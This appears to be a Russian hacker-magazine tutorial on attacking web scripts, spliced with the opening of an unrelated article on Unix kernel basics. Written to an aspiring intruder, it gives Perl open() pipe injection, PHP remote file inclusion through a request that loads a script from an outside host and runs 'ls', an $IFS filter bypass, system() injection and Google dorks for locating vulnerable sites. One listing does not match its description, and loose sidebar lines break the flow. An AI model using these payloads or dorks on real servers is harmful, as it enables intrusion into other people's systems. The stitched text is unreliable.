Листинг

die print «Incorrect address!\n» if ($email=~/[\|;]/ || $email~!/\@/);

open(MAIL,"|/usr/sbin/sendmail");

print MAIL «To: $email\n»;

# …

Теперь поговорим о PHP-сценариях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной стороны, это очень удобно: кодер может без лишних проблем писать скрипты. А с другой стороны, никто не мешает злоумышленнику выполнить произвольный системный код на системе. Для этого достаточно создать небольшой файл megahack.php на любом сервере (хотя поддержки PHP там нет, в противном случае файлу придется дать другое расширение, так как с расширением .php при обращении к файлу он будет интерпретироваться сервером как скрипт, а в данной ситуации необходимо, чтобы сервер просто выдал его содержимое) и подсунуть URL файла уязвимому скрипту. Файл может быть таким:

Листинг

# …

include $my_include . «.php»;

# …

?>

В данном случае программист даже не представляет, что вместо его любимого data.php (если в $my_include хранится строка 'data') может подгрузиться хакерский data.php, находящийся на далеком уругвайском сервере по адресу http://urugwayhost/data.php (правда, для этого необходимо, чтобы у php директива allow_url_fopen была включена, но чаще всего так и бывает). Если все условия выполнены, взломщик вставляет в запрос дополнительный параметр «my_include» и присваивает ему значение url своего скрипта (без «.php» на конце). Например, запрос, выполняющий команду ls, выглядит следующим образом:

Листинг

http://victim/view.php?my_include=http://urugwayhost/data&cmd=ls.

В случае если админ запретил открытие ссылок в fopen(), можно составить PHP-код и поместить его в каталог /tmp: для этого стоит воспользоваться FTP или другой уязвимостью, позволяющей создавать на сервере файлы. В качестве параметра взломщик укажет путь к локальному файлу (например, /tmp/data).

«Ну и где найти все это добро?» – спросишь ты. Конечно, на поисковиках! Например, с помощью Гугла можно отыскать PHP-скрипт, содержащий include-баг. Для этого можно воспользоваться запросом вида «filetype:php file=». В итоге поисковик покажет все PHP-сценарии с переменной file. Я уверен, что добрая их половина «болеет» include-багом.

Если хочется найти CGI-скрипт с ошибкой в open(), можно использовать конструкцию «filetype:cgi html» или «filetype:pl html». В ответ мы получим массу сценариев с расширением .cgi или .pl соответственно, подключающих html-файлы. Именно в них содержится бажный код без проверки переменных на наличие пайпов.

В заключение замечу, что взлом через WWW – дело творческое, к каждому сценарию необходим индивидуальный подход. Только тогда взломщик сможет чего-то добиться. Но начинать надо с поиска простых ошибок – багов в open(), fopen(), system() и других аналогичных функциях. Постигнув азы, ты продвинешься далее и сможешь анализировать скрипт, даже при отсутствии его исходников. Нужно лишь стремление и опыт, а остальное прибавится само собой.

Бывают случаи, когда команда выполняется, но скрипт нещадно отрезает все ее аргументы. Получается, что хакер имеет право вставить всего одно слово в запрос. Из этой, казалось бы, неизбежной ситуации есть выход: вместо пробела нужно подставить пустую переменную окружения $IFS. Таким образом, запрос вида http://victim.com/bug.cgi?file=uname$ifs-a способен обойти жесткую проверку.

По умолчанию, директива allow_url_fopen разрешена. Это означает, что функция fopen() способна подгрузить любой удаленный скрипт.

В PHP также можно произвести атаку на system(). Для этого необходимо поставить «;» по краям переменной, а саму переменную представить в виде команды.

Если в сишном коде программиста заботит явление переполнения буфера, то Web-разработчика в первую очередь должны волновать параметры, передаваемые CGI-сценарию.

Ничто не мешает хакеру залить эксплоит через Web, получить рутовые права и насильно отключить фаервол.

Тебе, наверное, много раз приходилось слышать, что любой *nix – это некая «идеальная» система (в отличие от Windows), которая не зависает, не тормозит и т.д. Так ли это на самом деле? Поскольку надежность любой операционной системы зависит от ядра, обратим внимание именно на эту часть ОС.

Для начала следует разобраться с основными понятиями *nix-систем. Это очень важный момент, без которого довольно сложно разобраться в структуре системы и ядре. Ядро полностью скрывает специфику компьютера от пользователя, но в то же время зависит от этой специфики.

Первое, с чем нам предстоит столкнуться, – понятие пользователя. Здесь пользователь – это некто (нечто), имеющий свою учетную запись, состоящую из имени и пароля и еще некоторых данных вроде домашней директории. Ядро UNIX «узнает» пользователя по UID (User IDentifier) – идентификатору, который представляет собой уникальное целое число, присваемое при регистрации (автоматически или вручную админом). Пользователь относится к некой группе, определяемой GID'ом (Group IDentifier). Администратору системы отводится нулевой UID. Пользователь с таким UID называется root (рут). Это наиболее интересный персонаж, поскольку он имеет полный контроль над системой. Идеальный вариант использования какой-либо уязвимости для захвата системы – получение прав рута.

Любой пользователь в процессе работы так или иначе обращается к файлам, и здесь нельзя избежать упоминания о файловой системе (ФС).

ФС присуща древовидная структура, совершенно непривычная для пользователя DOS (Windows). Корневой каталог всегда имеет имя «/». Но это не значит, что в *nix возможно использование только одного устройства для хранения информации. «Куски» файлового дерева системы чаще всего размещаются на разных носителях, но логически это одна система. Каждый зарегистрированный пользователь имеет так называемую домашнюю директорию. В ней пользователь – царь и бог :). Теоретически юзер может получить доступ ко всем файлам в системе. Но такой доступ ограничен посредством привилегий. В отличие от MS-DOS у ФС *nix отсутствует такое понятие, как расширение файла (имя файла может содержать точку наравне с другими допустимыми символами).

Кроме того, для файловых систем *nix характерна защита информации в файлах и трактовка периферийных устройств как файлов.

В *nix есть ядро, которое управляет ресурсами компьютера и предоставляет пользователям некий ограниченный набор услуг. Мы будем рассматривать UNIX TimeSharing System V («традиционный» UNIX), поскольку на ее основе построено большинство современных клонов UNIX. Начнем с того, что UNIX – независимая от платформы система. Для ее работы на какой-либо машине достаточно лишь заново скомпилировать компоненты (написанные на C). Здесь стоит заметить, что единственный компонент, который все еще зависит от аппаратной части, – это ядро.